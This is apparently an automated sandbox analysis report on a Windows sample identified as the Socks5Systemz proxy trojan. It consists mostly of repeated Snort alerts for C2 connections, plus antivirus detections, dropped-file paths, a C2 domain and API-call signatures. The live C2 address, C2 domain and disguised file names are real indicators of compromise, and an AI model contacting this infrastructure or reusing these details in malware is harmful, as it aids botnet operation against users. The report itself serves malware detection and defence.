Timestamp:	03/29/24-12:59:00.626740
SID:	2050112
Source Port:	49743
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.4 - Destination IP: 45.142.214.240

Timestamp:	03/29/24-12:59:14.816268
SID:	2049467
Source Port:	49760
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 - Source IP: 192.168.2.4 - Destination IP: 45.142.214.240

Timestamp:	03/29/24-12:59:50.109189
SID:	2050112
Source Port:	49804
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.4 - Destination IP: 45.142.214.240

Timestamp:	03/29/24-12:59:12.050126
SID:	2049467
Source Port:	49757
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 - Source IP: 192.168.2.4 - Destination IP: 45.142.214.240

Timestamp:	03/29/24-12:59:22.033829
SID:	2050112
Source Port:	49770
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 - Source IP: 192.168.2.4 - Destination IP: 45.142.214.240

Timestamp:	03/29/24-12:59:27.122910
SID:	2050112
Source Port:	49776
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.4 - Destination IP: 45.142.214.240

Timestamp:	03/29/24-12:59:41.029454
SID:	2049467
Source Port:	49793
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.4 - Destination IP: 45.142.214.240

Timestamp:	03/29/24-12:59:05.059289
SID:	2049467
Source Port:	49748
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 - Source IP: 192.168.2.4 - Destination IP: 45.142.214.240

Timestamp:	03/29/24-12:59:20.124059
SID:	2050112
Source Port:	49767
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.4 - Destination IP: 45.142.214.240

Timestamp:	03/29/24-12:59:26.471385
SID:	2049467
Source Port:	49775
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 - Source IP: 192.168.2.4 - Destination IP: 45.142.214.240

Timestamp:	03/29/24-12:59:06.106340
SID:	2050112
Source Port:	49749
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.4 - Destination IP: 45.142.214.240

Timestamp:	03/29/24-12:59:19.483683
SID:	2049467
Source Port:	49766
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 - Source IP: 192.168.2.4 - Destination IP: 45.142.214.240

Timestamp:	03/29/24-12:59:51.153063
SID:	2050112
Source Port:	49805
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.4 - Destination IP: 45.142.214.240

Timestamp:	03/29/24-12:59:48.841670
SID:	2049467
Source Port:	49802
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.4 - Destination IP: 45.142.214.240

Timestamp:	03/29/24-12:59:18.842102
SID:	2049467
Source Port:	49765
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 - Source IP: 192.168.2.4 - Destination IP: 45.142.214.240

Timestamp:	03/29/24-12:59:30.918916
SID:	2050112
Source Port:	49780
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.4 - Destination IP: 45.142.214.240

Timestamp:	03/29/24-12:58:59.965425
SID:	2049467
Source Port:	49742
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.4 - Destination IP: 45.142.214.240

Timestamp:	03/29/24-13:00:02.442251
SID:	2049467
Source Port:	49819
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 - Source IP: 192.168.2.4 - Destination IP: 45.142.214.240

Timestamp:	03/29/24-12:59:12.050126
SID:	2050112
Source Port:	49757
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 - Source IP: 192.168.2.4 - Destination IP: 45.142.214.240

Timestamp:	03/29/24-12:59:34.137988
SID:	2050112
Source Port:	49785
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 - Source IP: 192.168.2.4 - Destination IP: 45.142.214.240

Timestamp:	03/29/24-12:59:16.918885
SID:	2050112
Source Port:	49762
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.4 - Destination IP: 45.142.214.240

Timestamp:	03/29/24-12:59:32.856145
SID:	2049467
Source Port:	49783
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.4 - Destination IP: 45.142.214.240

Timestamp:	03/29/24-12:58:58.916637
SID:	2049467
Source Port:	49741
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.4 - Destination IP: 45.142.214.240

Timestamp:	03/29/24-12:59:27.122910
SID:	2049467
Source Port:	49776
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.4 - Destination IP: 45.142.214.240

Timestamp:	03/29/24-12:59:56.945215
SID:	2049467
Source Port:	49813
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.4 - Destination IP: 45.142.214.240

Timestamp:	03/29/24-12:59:46.108211
SID:	2049467
Source Port:	49799
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 - Source IP: 192.168.2.4 - Destination IP: 45.142.214.240

Timestamp:	03/29/24-12:59:34.777689
SID:	2050112
Source Port:	49786
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 - Source IP: 192.168.2.4 - Destination IP: 45.142.214.240

Timestamp:	03/29/24-12:59:20.762171
SID:	2050112
Source Port:	49768
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 - Source IP: 192.168.2.4 - Destination IP: 45.142.214.240

Timestamp:	03/29/24-12:59:07.805203
SID:	2050112
Source Port:	49751
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.4 - Destination IP: 45.142.214.240

Timestamp:	03/29/24-12:59:42.903229
SID:	2049467
Source Port:	49794
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 - Source IP: 192.168.2.4 - Destination IP: 45.142.214.240

Timestamp:	03/29/24-12:59:33.499589
SID:	2050112
Source Port:	49784
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 - Source IP: 192.168.2.4 - Destination IP: 45.142.214.240

Timestamp:	03/29/24-12:59:35.421196
SID:	2050112
Source Port:	49787
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.4 - Destination IP: 45.142.214.240

Timestamp:	03/29/24-12:59:03.387980
SID:	2049467
Source Port:	49746
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 - Source IP: 192.168.2.4 - Destination IP: 45.142.214.240

Timestamp:	03/29/24-13:00:01.795965
SID:	2050112
Source Port:	49818
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.4 - Destination IP: 45.142.214.240

Timestamp:	03/29/24-12:59:08.435175
SID:	2049467
Source Port:	49752
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 - Source IP: 192.168.2.4 - Destination IP: 45.142.214.240

Timestamp:	03/29/24-12:59:41.029454
SID:	2050112
Source Port:	49793
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 - Source IP: 192.168.2.4 - Destination IP: 45.142.214.240

Timestamp:	03/29/24-12:59:28.814022
SID:	2050112
Source Port:	49778
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.4 - Destination IP: 45.142.214.240

Timestamp:	03/29/24-12:59:15.452590
SID:	2049467
Source Port:	49761
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 - Source IP: 192.168.2.4 - Destination IP: 45.142.214.240

Timestamp:	03/29/24-12:59:47.153192
SID:	2050112
Source Port:	49800
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.4 - Destination IP: 45.142.214.240

Timestamp:	03/29/24-12:59:06.106340
SID:	2049467
Source Port:	49749
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.4 - Destination IP: 45.142.214.240

Timestamp:	03/29/24-12:59:10.764656
SID:	2049467
Source Port:	49755
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 - Source IP: 192.168.2.4 - Destination IP: 45.142.214.240

Timestamp:	03/29/24-12:59:37.749118
SID:	2050112
Source Port:	49790
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.4 - Destination IP: 45.142.214.240

Timestamp:	03/29/24-13:00:03.080619
SID:	2049467
Source Port:	49820
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 - Source IP: 192.168.2.4 - Destination IP: 45.142.214.240

Timestamp:	03/29/24-12:58:58.916637
SID:	2050112
Source Port:	49741
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 - Source IP: 192.168.2.4 - Destination IP: 45.142.214.240

Timestamp:	03/29/24-12:59:54.123875
SID:	2050112
Source Port:	49809
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.4 - Destination IP: 45.142.214.240

Timestamp:	03/29/24-12:59:59.031292
SID:	2049467
Source Port:	49814
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.4 - Destination IP: 45.142.214.240

Timestamp:	03/29/24-12:59:53.482569
SID:	2049467
Source Port:	49808
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 - Source IP: 192.168.2.4 - Destination IP: 45.142.214.240

Timestamp:	03/29/24-12:59:59.675457
SID:	2050112
Source Port:	49815
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.4 - Destination IP: 45.142.214.240

Timestamp:	03/29/24-12:59:45.464018
SID:	2049467
Source Port:	49798
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.4 - Destination IP: 45.142.214.240

Timestamp:	03/29/24-12:59:20.762171
SID:	2049467
Source Port:	49768
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 - Source IP: 192.168.2.4 - Destination IP: 45.142.214.240

Timestamp:	03/29/24-12:59:48.841670
SID:	2050112
Source Port:	49802
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 - Source IP: 192.168.2.4 - Destination IP: 45.142.214.240

Timestamp:	03/29/24-12:59:23.090769
SID:	2050112
Source Port:	49771
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 - Source IP: 192.168.2.4 - Destination IP: 45.142.214.240

Timestamp:	03/29/24-12:59:05.059289
SID:	2050112
Source Port:	49748
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.4 - Destination IP: 45.142.214.240

Timestamp:	03/29/24-12:59:51.153063
SID:	2049467
Source Port:	49805
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.4 - Destination IP: 45.142.214.240

Timestamp:	03/29/24-12:59:38.599677
SID:	2049467
Source Port:	49791
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 - Source IP: 192.168.2.4 - Destination IP: 45.142.214.240

Timestamp:	03/29/24-12:59:18.842102
SID:	2050112
Source Port:	49765
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.4 - Destination IP: 45.142.214.240

Timestamp:	03/29/24-12:59:55.404429
SID:	2049467
Source Port:	49811
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.4 - Destination IP: 45.142.214.240

Timestamp:	03/29/24-12:59:25.828412
SID:	2049467
Source Port:	49774
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.4 - Destination IP: 45.142.214.240

Timestamp:	03/29/24-13:00:00.317751
SID:	2049467
Source Port:	49816
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 - Source IP: 192.168.2.4 - Destination IP: 45.142.214.240

Timestamp:	03/29/24-12:59:14.816268
SID:	2050112
Source Port:	49760
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 - Source IP: 192.168.2.4 - Destination IP: 45.142.214.240

Timestamp:	03/29/24-12:59:43.547929
SID:	2050112
Source Port:	49795
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.4 - Destination IP: 45.142.214.240

Timestamp:	03/29/24-12:59:01.268339
SID:	2049467
Source Port:	49744
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 - Source IP: 192.168.2.4 - Destination IP: 45.142.214.240

Timestamp:	03/29/24-12:59:56.945215
SID:	2050112
Source Port:	49813
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.4 - Destination IP: 45.142.214.240

Timestamp:	03/29/24-12:59:30.918916
SID:	2049467
Source Port:	49780
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 - Source IP: 192.168.2.4 - Destination IP: 45.142.214.240

Timestamp:	03/29/24-12:59:10.122007
SID:	2050112
Source Port:	49754
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 - Source IP: 192.168.2.4 - Destination IP: 45.142.214.240

Timestamp:	03/29/24-12:59:37.106191
SID:	2050112
Source Port:	49789
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.4 - Destination IP: 45.142.214.240

Timestamp:	03/29/24-12:59:07.153408
SID:	2049467
Source Port:	49750
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 - Source IP: 192.168.2.4 - Destination IP: 45.142.214.240

Timestamp:	03/29/24-12:59:52.843294
SID:	2050112
Source Port:	49807
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.4 - Destination IP: 45.142.214.240

Timestamp:	03/29/24-12:59:34.137988
SID:	2049467
Source Port:	49785
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 - Source IP: 192.168.2.4 - Destination IP: 45.142.214.240

Timestamp:	03/29/24-12:59:14.168811
SID:	2050112
Source Port:	49759
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.4 - Destination IP: 45.142.214.240

Timestamp:	03/29/24-12:59:29.458062
SID:	2049467
Source Port:	49779
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: 0RWRPBSuDx.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\ProgramData\WWAN_MobileFixup 2.33.197.66\WWAN_MobileFixup 2.33.197.66.exe	Avira: detection malicious, Label: HEUR/AGEN.1324697
Source: C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe	Avira: detection malicious, Label: HEUR/AGEN.1324697

Found malware configuration

Source: codecpackupdate.exe.7084.3.memstrmin

Malware Configuration Extractor: Socks5Systemz {"C2 list": ["bvuppwf.com"]}

Multi AV Scanner detection for domain / URL

Source: http://45.142.214.240/

Virustotal: Detection: 7%

Perma Link

Multi AV Scanner detection for dropped file

Source: C:\ProgramData\WWAN_MobileFixup 2.33.197.66\WWAN_MobileFixup 2.33.197.66.exe	Virustotal: Detection: 38%			Perma Link
Source: C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe	Virustotal: Detection: 38%			Perma Link

Multi AV Scanner detection for submitted file

Source: 0RWRPBSuDx.exe

Virustotal: Detection: 9%

Perma Link

Machine Learning detection for dropped file

Source: C:\ProgramData\WWAN_MobileFixup 2.33.197.66\WWAN_MobileFixup 2.33.197.66.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe	Joe Sandbox ML: detected

Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	Code function: 1_2_0045B4AC GetProcAddress,GetProcAddress,GetProcAddress,ISCryptGetVersion,	1_2_0045B4AC
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	Code function: 1_2_0045B560 ArcFourCrypt,	1_2_0045B560
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	Code function: 1_2_0045B578 ArcFourCrypt,	1_2_0045B578
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	Code function: 1_2_10001000 ISCryptGetVersion,	1_2_10001000
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	Code function: 1_2_10001130 ArcFourCrypt,	1_2_10001130

Compliance

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe	Unpacked PE file: 2.2.codecpackupdate.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe	Unpacked PE file: 3.2.codecpackupdate.exe.400000.0.unpack

Source: 0RWRPBSuDx.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI

Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	Code function: 1_2_0047A44C FindFirstFileA,FindNextFileA,FindClose,FindFirstFileA,FindNextFileA,FindClose,	1_2_0047A44C
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	Code function: 1_2_0047077C FindFirstFileA,FindNextFileA,FindClose,	1_2_0047077C
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	Code function: 1_2_004513E4 FindFirstFileA,GetLastError,	1_2_004513E4
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	Code function: 1_2_004601DC SetErrorMode,FindFirstFileA,FindNextFileA,FindClose,SetErrorMode,	1_2_004601DC
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	Code function: 1_2_00478334 FindFirstFileA,FindNextFileA,FindClose,FindFirstFileA,FindNextFileA,FindClose,	1_2_00478334
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	Code function: 1_2_00460658 SetErrorMode,FindFirstFileA,FindNextFileA,FindClose,SetErrorMode,	1_2_00460658
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	Code function: 1_2_0045EC50 FindFirstFileA,FindNextFileA,FindClose,	1_2_0045EC50
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	Code function: 1_2_00491EBC FindFirstFileA,SetFileAttributesA,FindNextFileA,FindClose,	1_2_00491EBC

Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	File opened: C:\Users\user	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows	Jump to behavior

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2049467 ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 192.168.2.4:49736 -> 45.142.214.240:80
Source: Traffic	Snort IDS: 2050112 ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 192.168.2.4:49736 -> 45.142.214.240:80
Source: Traffic	Snort IDS: 2049467 ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 192.168.2.4:49740 -> 45.142.214.240:80
Source: Traffic	Snort IDS: 2050112 ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 192.168.2.4:49740 -> 45.142.214.240:80
Source: Traffic	Snort IDS: 2049467 ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 192.168.2.4:49741 -> 45.142.214.240:80
Source: Traffic	Snort IDS: 2050112 ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 192.168.2.4:49741 -> 45.142.214.240:80
Source: Traffic	Snort IDS: 2049467 ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 192.168.2.4:49742 -> 45.142.214.240:80
Source: Traffic	Snort IDS: 2050112 ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 192.168.2.4:49742 -> 45.142.214.240:80
Source: Traffic	Snort IDS: 2049467 ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 192.168.2.4:49743 -> 45.142.214.240:80
Source: Traffic	Snort IDS: 2050112 ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 192.168.2.4:49743 -> 45.142.214.240:80
Source: Traffic	Snort IDS: 2049467 ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 192.168.2.4:49744 -> 45.142.214.240:80
Source: Traffic	Snort IDS: 2050112 ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 192.168.2.4:49744 -> 45.142.214.240:80
Source: Traffic	Snort IDS: 2049467 ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 192.168.2.4:49745 -> 45.142.214.240:80
Source: Traffic	Snort IDS: 2050112 ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 192.168.2.4:49745 -> 45.142.214.240:80
Source: Traffic	Snort IDS: 2049467 ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 192.168.2.4:49746 -> 45.142.214.240:80
Source: Traffic	Snort IDS: 2050112 ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 192.168.2.4:49746 -> 45.142.214.240:80
Source: Traffic	Snort IDS: 2049467 ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 192.168.2.4:49748 -> 45.142.214.240:80
Source: Traffic	Snort IDS: 2050112 ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 192.168.2.4:49748 -> 45.142.214.240:80
Source: Traffic	Snort IDS: 2049467 ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 192.168.2.4:49749 -> 45.142.214.240:80
Source: Traffic	Snort IDS: 2050112 ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 192.168.2.4:49749 -> 45.142.214.240:80
Source: Traffic	Snort IDS: 2049467 ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 192.168.2.4:49750 -> 45.142.214.240:80
Source: Traffic	Snort IDS: 2050112 ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 192.168.2.4:49750 -> 45.142.214.240:80
Source: Traffic	Snort IDS: 2049467 ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 192.168.2.4:49751 -> 45.142.214.240:80
Source: Traffic	Snort IDS: 2050112 ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 192.168.2.4:49751 -> 45.142.214.240:80
Source: Traffic	Snort IDS: 2049467 ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 192.168.2.4:49752 -> 45.142.214.240:80
Source: Traffic	Snort IDS: 2050112 ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 192.168.2.4:49752 -> 45.142.214.240:80
